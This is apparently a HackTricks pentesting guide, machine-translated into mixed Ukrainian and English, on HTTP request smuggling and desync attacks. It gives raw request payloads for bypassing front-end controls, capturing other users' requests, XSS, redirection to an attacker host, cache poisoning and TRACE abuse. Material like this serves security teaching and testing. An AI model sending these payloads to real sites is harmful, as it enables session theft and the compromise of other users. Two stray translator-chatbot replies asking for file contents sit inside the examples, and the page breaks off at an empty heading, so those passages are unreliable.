HTTP Request Smuggling / HTTP Desync Attack

Reading time: 31 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що це

Ця вразливість виникає, коли між front-end proxies та back-end server відбувається десинхронізація, що дозволяє attacker send HTTP request, який interpreted як single request front-end proxies (load balance/reverse-proxy), але as 2 request для back-end server.
Це дозволяє користувачу modify the next request that arrives to the back-end server after his.

Теорія

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Реальність

Front-End (a load-balance / Reverse Proxy) process the content-length or the transfer-encoding header і Back-end server process the other, що спричиняє десинхронізацію між двома системами.
Це може бути дуже критично, оскільки attacker зможе send one request до reverse proxy, який interpreted на back-end як 2 different requests. Небезпека цієї техніки в тому, що back-end server interpret 2nd request injected так, ніби він came from the next client, а реальний request цього клієнта стане part of the injected request.

Особливості

Пам'ятайте, що в HTTP new line character складається з 2 байт:

  • Content-Length: цей header використовує decimal number, щоб вказати number of bytes тіла request. Тіло очікується завершеним останнім символом, new line в кінці request не потрібен.
  • Transfer-Encoding: цей header використовує у body hexadecimal number, щоб вказати number of bytes наступного chunk. Chunk має закінчуватися new line, але цей new line не враховується індикатором довжини. Цей метод передачі має закінчуватися chunk розміру 0, за яким слідують 2 new lines: 0
  • Connection: з мого досвіду рекомендовано використовувати Connection: keep-alive у першому request під час request Smuggling.

Visible - Hidden

Головна проблема HTTP/1.1 в тому, що всі requests йдуть у тому самому TCP socket, тож якщо між двома системами виникає розбіжність у обробці request, можливо відправити один request, який буде розглянутий як два різні requests (або більше) фінальним backend (або навіть проміжними системами).

This blog post пропонує нові способи виявлення desync атак на систему, які не будуть помічені WAF. Для цього воно описує Visible vs Hidden поведінки. Мета — знайти розбіжності у response, використовуючи техніки, які можуть викликати desyncs, без фактичної експлуатації.

Наприклад, відправлення request з нормальним Host header і з " host" header; якщо backend скаржиться на цей request (можливо через некоректне значення " host"), це може означати, що front-end не побачив " host" header, тоді як фінальний backend його використав — ймовірно викликаючи desync між front-end і back-end.

Це буде Hidden-Visible discrepancy.

Якщо front-end взяв до уваги " host" header, але back-end — ні, це могло б бути Visible-Hidden.

Наприклад, це дозволило виявити desyncs між AWS ALB як front-end і IIS як backend. Це сталося тому, що коли був надісланий "Host: foo/bar", ALB повернув 400, Server; awselb/2.0, але коли був надісланий "Host : foo/bar", він повернув 400, Server: Microsoft-HTTPAPI/2.0, вказуючи, що response надійшов від backend. Це Hidden-Visible (H-V) ситуація.

Зауважте, що ця ситуація не виправлена в AWS, але її можна запобігти, встановивши routing.http.drop_invalid_header_fields.enabled та routing.http.desync_mitigation_mode = strictest.

Basic Examples

tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling атаки створюються шляхом відправки неоднозначних requests, які експлуатують розбіжності в тому, як front-end і back-end servers інтерпретують Content-Length (CL) та Transfer-Encoding (TE) headers. Ці атаки можуть проявлятися у різних формах, переважно як CL.TE, TE.CL, та TE.TE. Кожен тип відображає унікальну комбінацію пріоритетів цих header-ів між front-end та back-end. Вразливості виникають через те, що сервери обробляють один і той же request по-різному, що призводить до несподіваних і потенційно шкідливих результатів.

Базові приклади типів вразливостей

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

До попередньої таблиці слід додати техніку TE.0, подібну до CL.0, але з використанням Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Обробляє request на основі Content-Length header.

  • Back-End (TE): Обробляє request на основі Transfer-Encoding header.

  • Сценарій атаки:

  • Attacker надсилає request, де значення Content-Length не відповідає фактичній довжині вмісту.

  • Front-end server пересилає увесь request на back-end, покладаючись на значення Content-Length.

  • Back-end server обробляє request як chunked через Transfer-Encoding: chunked header, інтерпретуючи решту даних як окремий, наступний request.

  • Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Обробляє request на основі Transfer-Encoding header.

  • Back-End (CL): Обробляє request на основі Content-Length header.

  • Сценарій атаки:

  • Attacker надсилає chunked request, де розмір chunk (7b) і фактична довжина (Content-Length: 4) не узгоджуються.

  • Front-end server, дотримуючись Transfer-Encoding, пересилає увесь request на back-end.

  • Back-end server, керуючись Content-Length, обробляє лише початкову частину request (7b bytes), залишаючи решту як частину ненавмисного наступного request.

  • Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Обидва підтримують Transfer-Encoding, але один можна ввести в оману, щоб він ігнорував його через обфускацію.

  • Сценарій атаки:

  • Attacker надсилає request з обфусцированими Transfer-Encoding headers.

  • В залежності від того, який сервер (front-end чи back-end) не розпізнає обфускацію, може бути використано CL.TE або TE.CL вразливість.

  • Непроцесована частина request, як її бачить один із серверів, стає частиною наступного request, що призводить до smuggling.

  • Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Обидва server-и обробляють request виключно за Content-Length header.
  • Цей сценарій зазвичай не призводить до smuggling, оскільки є узгодженість у тому, як обидва server-и інтерпретують довжину request.
  • Приклад:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Відноситься до сценаріїв, де Content-Length header присутній і має значення, відмінне від нуля, вказуючи, що тіло request має вміст. Back-end ігнорує Content-Length (вважаючи його 0), але front-end його парсить.
  • Це важливо для розуміння та створення smuggling атак, оскільки це впливає на те, як server-и визначають кінець request.
  • Приклад:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Подібно до попереднього, але з використанням TE
  • Technique reported here
  • Приклад:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Сценарій

У ситуації 0.CL запит надсилається з Content-Length, наприклад:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

А front-end не враховує Content-Length, тож він надсилає на backend лише перший запит (до 7 у прикладі). Натомість backend бачить Content-Length і чекає на тіло, яке ніколи не надходить, бо front-end уже чекає на відповідь.

Проте, якщо існує запит, який можна надіслати на backend і на який відповідають до отримання тіла запиту, цього deadlock не станеться. Наприклад, в IIS це відбувається при надсиланні запитів до заборонених імен, таких як /con (див. documentation), таким чином початковий запит буде оброблено безпосередньо, а другий запит міститиме запит жертви, наприклад:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Це корисно для спричинення десинхронізації, але поки що це не матиме жодного впливу.

Однак у дописі пропонується рішення для цього шляхом перетворення 0.CL attack into a CL.0 with a double desync.

Порушення роботи веб-сервера

Ця техніка також корисна в сценаріях, коли можливо пошкодити веб-сервер під час читання початкових HTTP-даних, але не закриваючи з’єднання. У такий спосіб тіло HTTP-запиту буде вважатися наступним HTTP-запитом.

Наприклад, як пояснюється в this writeup, у Werkzeug можна було відправити деякі Unicode символи, і це призводило до того, що сервер виходив з ладу. Однак, якщо HTTP-з’єднання було встановлено з заголовком Connection: keep-alive, тіло запиту не буде прочитане і з’єднання залишатиметься відкритим, тому тіло запиту буде розглядатися як наступний HTTP-запит.

Примус через hop-by-hop headers

Зловживаючи hop-by-hop headers, ви можете вказати проксі видалити заголовок Content-Length або Transfer-Encoding, щоб стало можливим виконати HTTP request smuggling.

Connection: Content-Length

Для додаткової інформації про hop-by-hop headers перегляньте:

hop-by-hop headers

Виявлення HTTP Request Smuggling

Виявлення вразливостей HTTP request smuggling часто можна здійснити за допомогою таймінгових методів, які базуються на спостереженні за тим, скільки часу сервер витрачає на відповідь на модифіковані запити. Ці методи особливо корисні для виявлення вразливостей CL.TE та TE.CL. Окрім них, існують інші стратегії та інструменти для пошуку таких вразливостей:

Виявлення вразливостей CL.TE за допомогою таймінгових методів

  • Метод:

  • Надішліть запит, який, якщо додаток уразливий, змусить back-end server чекати додаткових даних.

  • Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Спостереження:

  • front-end server обробляє запит на основі Content-Length і передчасно обриває повідомлення.

  • back-end server, очікуючи повідомлення у форматі chunked, чекає наступного chunk, який ніколи не надходить, що спричинює затримку.

  • Індикатори:

  • Таймаути або тривалі затримки відповіді.

  • Отримання помилки 400 Bad Request від back-end server, іноді з детальною інформацією про сервер.

Виявлення вразливостей TE.CL за допомогою таймінгових методів

  • Метод:

  • Надішліть запит, який, якщо додаток уразливий, змусить back-end server чекати додаткових даних.

  • Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Спостереження:
  • front-end server обробляє запит на основі Transfer-Encoding і пересилає повне повідомлення.
  • back-end server, очікуючи повідомлення на основі Content-Length, чекає додаткових даних, які ніколи не надходять, що спричинює затримку.

Інші методи пошуку вразливостей

  • Differential Response Analysis:
  • Надсилайте трохи змінені версії запиту і спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу.
  • Using Automated Tools:
  • Інструменти, як-от розширення Burp Suite 'HTTP Request Smuggler', можуть автоматично тестувати ці вразливості, надсилаючи різні неоднозначні запити та аналізуючи відповіді.
  • Content-Length Variance Tests:
  • Надсилайте запити з різними значеннями Content-Length, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
  • Transfer-Encoding Variance Tests:
  • Надсилайте запити з спотвореними або некоректними заголовками Transfer-Encoding та стежте, наскільки по-різному front-end і back-end servers реагують на такі маніпуляції.

The Expect: 100-continue header

Перевірте, як цей заголовок може допомогти експлуатувати http desync у:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Після підтвердження ефективності таймінгових методів важливо перевірити, чи можна маніпулювати клієнтськими запитами. Прямий метод — спробувати отруїти ваші запити, наприклад змусити запит до / повернути 404. Приклади CL.TE та TE.CL, обговорені раніше в Basic Examples, демонструють, як отруїти клієнтський запит, щоб викликати 404, незважаючи на те, що клієнт намагається отримати інший ресурс.

Ключові зауваги

Коли тестуєте request smuggling шляхом втручання в інші запити, врахуйте:

  • Окремі мережеві з'єднання: «attack» та «normal» запити мають надсилатися через окремі мережеві з'єднання. Використання того самого з'єднання для обох не підтверджує наявності вразливості.
  • Ідентичні URL та параметри: Намагайтеся використовувати ідентичні URL та імена параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до певних back-end servers на основі URL і параметрів. Відповідність збільшує ймовірність, що обидва запити оброблятиме один і той самий сервер — необхідна умова для успішної атаки.
  • Таймінг і умови гонки: «normal» запит, призначений для виявлення втручання «attack» запиту, конкурує з іншими паралельними запитами додатка. Тому надсилайте «normal» запит одразу після «attack» запиту. На навантажених додатках може знадобитися кілька спроб для однозначного підтвердження вразливості.
  • Проблеми балансування навантаження: front-end servers, що виконують роль load balancer'ів, можуть розподіляти запити між різними back-end системами. Якщо «attack» та «normal» запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування може вимагати декількох спроб для підтвердження вразливості.
  • Непередбачений вплив на інших користувачів: Якщо ваша атака випадково впливає на запит іншого користувача (а не на «normal» запит, який ви надіслали для виявлення), це означає, що ваша атака вплинула на іншого користувача додатка. Постійне тестування може порушити роботу інших користувачів, тому дотримуйтеся обережності.

Розрізнення артефактів HTTP/1.1 pipelining та справжнього request smuggling

Повторне використання з'єднання (keep-alive) і pipelining можуть легко створювати ілюзії «smuggling» у тестових інструментах, які надсилають кілька запитів по одному сокету. Навчіться відрізняти нешкідливі клієнтські артефакти від реальних серверних десинхронізацій (desync).

Чому pipelining створює класичні хибні позитиви

HTTP/1.1 повторно використовує одне TCP/TLS-з'єднання і конкатенує запити та відповіді в одному потоці. При pipelining клієнт відправляє кілька запитів підряд і очікує відповіді у тому ж порядку. Поширений хибнопозитивний випадок — повторна відправка пошкодженого payload у стилі CL.0 двічі по одному з'єднанню:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

I don't have the file content. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md (including markdown) and I'll translate the English text to Ukrainian, preserving all markdown/html tags, links, paths and code.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Якщо сервер ігнорував некоректний Content_Length, то немає FE↔BE desync. При повторному використанні ваш клієнт фактично відправив цей байтовий потік, який сервер розбив на два незалежні запити:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Вплив: відсутній. Ви лише десинхронізували свій клієнт із фреймінгом сервера.

tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Літмус-тести: pipelining чи реальний desync?

  1. Disable reuse and re-test
  • У Burp Intruder/Repeater вимкніть HTTP/1 reuse і уникайте "Send group in sequence".
  • У Turbo Intruder встановіть requestsPerConnection=1 і pipeline=False.
  • Якщо поведінка зникає, ймовірно це client-side pipelining, якщо тільки ви не маєте справи з connection-locked/stateful цілями або client-side desync.
  1. HTTP/2 nested-response check
  • Надішліть HTTP/2-запит. Якщо тіло відповіді містить повну вкладену HTTP/1-відповідь, ви довели баг парсингу/desync на backend, а не чисто клієнтський артефакт.
  1. Partial-requests probe for connection-locked front-ends
  • Деякі FE повторно використовують upstream BE-з'єднання тільки якщо клієнт повторно використовував своє. Використовуйте partial-requests, щоб виявити поведінку FE, яка відтворює reuse клієнта.
  • Див. PortSwigger "Browser‑Powered Desync Attacks" для техніки connection-locked.
  1. State probes
  • Шукайте відмінності між першим і наступними запитами на тому ж TCP-з'єднанні (first-request routing/validation).
  • Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
  1. Visualize the wire
  • Використовуйте розширення Burp "HTTP Hacker", щоб безпосередньо інспектувати конкатенацію і фреймінг повідомлень під час експериментів з reuse та partial requests.

Connection‑locked request smuggling (reuse-required)

Деякі front-ends повторно використовують upstream-з'єднання лише коли клієнт робить reuse свого. Справжній smuggling існує, але він умовний і залежить від client-side reuse. Щоб розрізнити і довести вплив:

  • Доведіть баг на server-side
  • Використайте HTTP/2 nested-response check, або
  • Використайте partial-requests, щоб показати, що FE повторно використовує upstream лише коли клієнт робить це.
  • Показуйте реальний вплив навіть якщо пряма зловживання сокетом між користувачами заблокована:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Робочий процес оператора
  • Відтворіть з контрольованим reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
  • Потім зв’яжіть до примітивів cache/header-leak/control-bypass і продемонструйте cross-user або authorization вплив.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Якщо ви таргетуєте browser-powered/client-side desync, зловмисний запит має бути відправленим браузером cross-origin. Трюки з обфускацією заголовків не спрацюють. Зосередьтесь на примітивах, досяжних через navigation/fetch, а далі pivote до cache poisoning, header disclosure або front-end control bypass там, де downstream компоненти відображають або кешують відповіді.

Для довідки та end-to-end робочих процесів:

Browser HTTP Request Smuggling

Інструменти, які допоможуть визначитися

  • HTTP Hacker (Burp BApp Store): показує низькорівневу HTTP-поведінку та конкатенацію сокетів.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

note

Вважайте ефекти, які залежать лише від reuse, неважливими, якщо ви не можете довести server-side desync та додати конкретний вплив (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control тощо).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Іноді front-end проксі накладають заходи безпеки, ретельно перевіряючи вхідні запити. Проте ці заходи можуть бути обійдені за допомогою HTTP Request Smuggling, дозволяючи неавторизований доступ до обмежених кінцевих точок. Наприклад, доступ до /admin може бути заборонений зовні, коли front-end proxy активно блокує такі спроби. Тим не менш, цей проксі може не перевіряти вкладені запити всередині smuggled HTTP-запиту, залишаючи лазівку для обходу цих обмежень.

Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використаний для обходу контролів безпеки front-end, конкретно таргетуючи шлях /admin, який зазвичай охороняється front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

У атаці CL.TE заголовок Content-Length використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок Transfer-Encoding: chunked. front-end proxy обробляє початковий POST запит, але не перевіряє вбудований GET /admin запит, що дозволяє неавторизований доступ до шляху /admin.

TE.CL Приклад

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Навпаки, у атаці TE.CL початковий POST запит використовує Transfer-Encoding: chunked, а вкладений наступний запит обробляється на основі заголовка Content-Length. Подібно до атаки CL.TE, фронт-енд проксі ігнорує контрабандний GET /admin запит, ненавмисно надаючи доступ до захищеного шляху /admin.

Виявлення переписування запитів фронт-енду

Застосунки часто використовують сервер фронт-енду для зміни вхідних запитів перед передачею на back-end сервер. Типова модифікація включає додавання заголовків, таких як X-Forwarded-For: <IP of the client>, щоб передати IP клієнта back-end'у. Розуміння цих змін може бути критично важливим, оскільки це може виявити способи обійти захист або розкрити приховану інформацію чи endpoints.

Щоб дослідити, як проксі змінює запит, знайдіть POST-параметр, який back-end відображає у відповіді. Потім складіть запит, використовуючи цей параметр останнім, схожий на наступний:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

У цій конструкції наступні складові запиту додаються після search=, який є параметром, відбитим у відповіді. Це відображення покаже заголовки наступного запиту.

Важливо вирівняти заголовок Content-Length вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з малого значення і поступово його збільшувати, оскільки занадто мале значення обріже відображені дані, а занадто велике може спричинити помилку запиту.

Цю техніку також можна застосувати у контексті TE.CL vulnerability, але запит має завершуватися search=\r\n0. Незалежно від символів нового рядка, значення будуть додаватися до параметра search.

Цей метод головним чином служить для розуміння модифікацій запиту, внесених front-end proxy, по суті виконуючи самостійне розслідування.

Перехоплення запитів інших користувачів

Можливо перехопити запити наступного користувача, додавши певний запит як значення параметра під час POST-операції. Ось як це можна зробити:

Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

У цьому сценарії параметр comment parameter призначений для зберігання вмісту секції коментарів допису на публічно доступній сторінці. Відповідно, вміст наступного запиту відобразиться як коментар.

Однак ця техніка має обмеження. Зазвичай вона захоплює дані лише до роздільника параметра, який використовується в підмінованому запиті. Для URL-encoded form submissions цей роздільник — символ &. Тобто захоплений вміст із запиту жертви зупиниться на першому &, який навіть може бути частиною рядка запиту.

Крім того, варто зазначити, що підхід також працює при вразливості TE.CL. У таких випадках запит має завершуватися search=\r\n0. Незалежно від символів нового рядка, значення будуть додані до параметра search.

Використання HTTP request smuggling для експлуатації Reflected XSS

HTTP Request Smuggling можна використовувати для експлуатації веб-сторінок, вразливих до Reflected XSS, що дає суттєві переваги:

  • Взаємодія з цільовими користувачами не потрібна.
  • Дозволяє використати XSS у частинах запиту, які зазвичай недоступні, наприклад HTTP request headers.

У випадках, коли вебсайт вразливий до Reflected XSS через заголовок User-Agent, наступний payload демонструє, як експлуатувати цю вразливість:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload структуровано для експлуатації вразливості таким чином:

  1. Ініціювання POST запиту, на вигляд звичайного, з заголовком Transfer-Encoding: chunked, що вказує на початок smuggling.
  2. Далі йде 0, який позначає кінець chunked message body.
  3. Потім вводиться smuggled GET запит, в якому заголовок User-Agent ін’єктовано скриптом <script>alert(1)</script>, що запускає XSS, коли сервер обробляє цей наступний запит.

Маніпулюючи User-Agent через smuggling, payload обходить звичайні обмеження запитів, таким чином експлуатуючи Reflected XSS нестандартним, але ефективним способом.

HTTP/0.9

caution

Якщо вміст користувача відображається у відповіді з Content-type, наприклад text/plain, це перешкоджає виконанню XSS. Якщо сервер підтримує HTTP/0.9, можливо обійти це!

Версія HTTP/0.9 передувала 1.0 і використовувала лише GET методи та не повертала headers, лише тіло.

В this writeup це було зловживано через request smuggling і вразливий endpoint, який відповідає введеними даними користувача, щоб smuggle запит з HTTP/0.9. Параметр, що відобразився у відповіді, містив фейкову HTTP/1.1 response (with headers and body), тому відповідь містила валідний виконуваний JS код з Content-Type = text/html.

Використання перенаправлень на сайті за допомогою HTTP Request Smuggling

Застосунки часто перенаправляють з одного URL на інший, використовуючи hostname із заголовка Host у redirect URL. Це часто трапляється на веб-серверах таких як Apache та IIS. Наприклад, запит папки без кінцевого слеша призводить до редиректу, який додає слеш:

GET /home HTTP/1.1
Host: normal-website.com

В результаті:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Хоча на перший погляд ця поведінка нешкідлива, її можна використати за допомогою HTTP request smuggling, щоб перенаправити користувачів на зовнішній сайт. Наприклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Цей smuggled request може спричинити перенаправлення наступного обробленого запиту користувача на attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Призводить до:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

У цьому сценарії запит користувача на файл JavaScript перехоплюється. Зловмисник потенційно може скомпрометувати користувача, відповівши шкідливим JavaScript.

Експлуатація Web Cache Poisoning через HTTP Request Smuggling

Web cache poisoning може виконуватися, якщо будь-який компонент front-end infrastructure caches content, зазвичай для підвищення продуктивності. Маніпулюючи відповіддю сервера, можливо poison the cache.

Раніше ми розглядали, як відповіді сервера можна змінити, щоб повертати помилку 404 (див. Basic Examples). Аналогічно, можливо обдурити сервер, щоб він повернув вміст /index.html у відповідь на запит до /static/include.js. Внаслідок цього вміст /static/include.js замінюється в cache на вміст /index.html, роблячи /static/include.js недоступним для користувачів і потенційно призводячи до Denial of Service (DoS).

Ця техніка стає особливо потужною, якщо виявлено вразливість Open Redirect або існує on-site redirect to an open redirect. Такі вразливості можна використати, щоб замінити кешований вміст /static/include.js на скрипт під контролем атакуючого, фактично дозволяючи масштабну атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений /static/include.js.

Нижче наведено ілюстрацію експлуатації cache poisoning combined with an on-site redirect to open redirect. Мета — змінити кешований вміст /static/include.js, щоб подавати JavaScript код під контролем атакуючого:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Зверніть увагу на вкладений запит, що спрямований до /post/next?postId=3. Цей запит буде перенаправлено на /post?postId=4, використовуючи значення Host header value для визначення домену. Змінюючи Host header, атакуючий може перенаправити запит на свій домен (on-site redirect to open redirect).

Після успішного socket poisoning потрібно ініціювати GET request до /static/include.js. Цей запит буде заражений попереднім запитом (on-site redirect to open redirect) і отримає вміст скрипта, контрольованого атакуючим.

Надалі будь-який запит до /static/include.js буде видавати кешований вміст скрипта атакуючого, фактично запускаючи масштабну XSS-атаку.

Використання HTTP request smuggling для виконання web cache deception

Яка різниця між web cache poisoning та web cache deception?

  • У випадку web cache poisoning, атакуючий змушує додаток зберегти певний шкідливий вміст у кеші, і цей вміст віддається з кешу іншим користувачам додатку.
  • У випадку web cache deception, атакуючий змушує додаток зберегти конфіденційний вміст, що належить іншому користувачу, у кеші, а потім атакуючий витягає цей вміст із кешу.

Атакуючий створює smuggled request, який витягає конфіденційний вміст, специфічний для користувача. Розгляньмо наступний приклад:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Якщо цей smuggled request отруїть запис кешу, призначений для статичного контенту (наприклад, /someimage.png), чутливі дані жертви з /private/messages можуть бути закешовані під записом кешу для статичного контенту. Відповідно, атакуючий потенційно зможе отримати ці кешовані чутливі дані.

Зловживання TRACE через HTTP Request Smuggling

In this post припускається, що якщо на сервері увімкнено метод TRACE, можливо зловживати ним за допомогою HTTP Request Smuggling. Це тому, що цей метод відображає будь-який заголовок, надісланий серверу, як частину тіла відповіді. Наприклад:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Будь ласка, надішліть вміст файлу README.md (або потрібний фрагмент), який потрібно перекласти. Я збережею markdown, код, посилання, шляхи та зазначені теги незмінними й перекладу лише релевантний англійський текст. Якщо файл великий — надішліть частинами.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the заголовками of a GET request (Content-Type among them). And smuggle відразу після HEAD запит TRACE, which will be віддзеркалювати надіслані дані.
As the HEAD response will be containing a Content-Length header, the відповідь на TRACE буде трактуватися як тіло відповіді HEAD, отже відображаючи довільні дані in the response.
This response will be sent to the next request over the connection, so this could be використано, наприклад, у кешованому JS-файлі для ін'єкції довільного JS-коду.

Abusing TRACE via HTTP Response Splitting

